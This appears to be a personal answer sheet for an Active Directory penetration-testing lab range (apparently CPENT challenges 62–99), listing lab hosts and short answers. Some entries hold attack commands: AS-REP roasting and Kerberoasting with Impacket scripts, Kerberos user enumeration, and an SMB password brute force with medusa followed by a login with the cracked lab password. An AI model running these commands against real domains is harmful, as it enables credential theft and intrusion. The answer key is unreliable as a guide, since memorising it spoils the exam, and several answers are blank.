# AD Range
## Environment
### CPENT.LOCALNET0(172.25.170.12)
* 

### CPENTV2.LOCALNET(172.25.170.25)
* 

### ECC.LOCALNET(170.25.170.80)
* 

### 172.25.170.110
* 

### CPENT.LOCALNET(172.25.170.150)
* 

### SERVER2008.CPENT.LOCALNET(172.25.170.170)
* 

### LPT.COM0(172.25.170.190)
* 

### CPENT.LOCALNET0(172.25.170.200)
* 

## Challenge 62

* Using `GetNPUsers.py` enumerate the users for SPN
* 

GetNPUsers.py LPT.COM/ -dc-ip 172.25.170.190 -usersfile Usernames.txt -format hashcat -outputfile hashes.txt |grep User

* Anwser:`user-one`

## Challage 63

nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='LPT.COM0',userdb=Usernames.txt 172.25.170.190

* Answer:`krb5-enum-users.realm`

## Challenge 64

* Answer:`DnsUpdateProxy`

## Challenge 65

* Answer:`cpent`

## Challenge 66
* 

Get-NetForestDomain
Get-NetDomainTrust

* Answer:`LA`

## Challenge 67
* 

Get-NetForestTrust

* Answer:`ECC`

## Challenge 68

* 

* Answer:`LA`

## Challenge 69

* Answer:

## Challenge 70

* Answer:

## Challenge 71

* Answer:

## Challenge 72

* 

* Answer:`172.25.170.25`

## Challenge 73

* 

* Answer:`AD-WIN`

## Challenge 74

* 

GetUserSPNs.py -request -dc-ip 172.25.170.25 CPENTV2.LOCALNET/administrator:'CPENT@@2024@@2024' | grep -i 'POP3'

* Answer:`Pablo Baker`

## Challenge 75

* 

* Answer:`Clint Franks`

## Challenge 76

*

* Answer:

## Challenge 77

* 

* Answer:`Bernice Lott`

## Challenge 78
* 

* Answer:`BB9`

## Challenge 79

* 

Get-Command ExSetup.exe | ForEach-Object { $_.FileVersionInfo }

* https://learn.microsoft.com/zh-tw/exchange/new-features/build-numbers-and-release-dates
* 

* Answer:`12`

## Challenge 80

* 

* Answer:`address`

## Challenge 81

* 

* Answer:`CPENTV2.LOCALNET`

## Challenge 82

* 

* Answer:`2012`

## Challenge 83

* 

* Answer:`Enabled`

## Challenge 84

* 

* Answer:`WS2012-ADUSER`

## Challenge 85

* 

* Answer:`WS2012-ADROOT`

## Challenge 86

* Answer:`2008`

## Challenge 87

* Answer:`Disabled`

## Challenge 88
* 170這台有擋ICMP, 用`nxc`等工具去爆會直接跳time out, 改用`medusa`
* 

medusa -h 172.25.170.170 -u administrator -P Passwords.txt -M smbnt

* 再利用rpclient連線
* 

rpcclient -U 'administrator%Pa$$w0rd123456' 172.25.170.170

* smbclient抓檔案
* 
* 

* Answer:`WS2008-User`

## Challenge 89

* Answer:`WS2008-Admin`

## Challenge 90

* 

* Answer:`Desktop5-user`

## Challenge 91

* 

* Answer:`Desktop5-root`

## Challenge 92

* 

* Answer:`CPENT`

## Challenge 93

* 

* Answer:`user-one`

## Challenge 94

* 

* Answer:`RemoteSigned`

## Challenge 95

* 

* Answer:`AD-WIN2019-ADMI`

## Challenge 97

* 

Get-ADForest | Select-Object -ExpandProperty Domains

* Answer:`ECC.LOCALNET`

## Challenge 98

* 

* Answer:`Required`

## Challenge 99

* 

* Answer:`WS-AD-TWO-USER`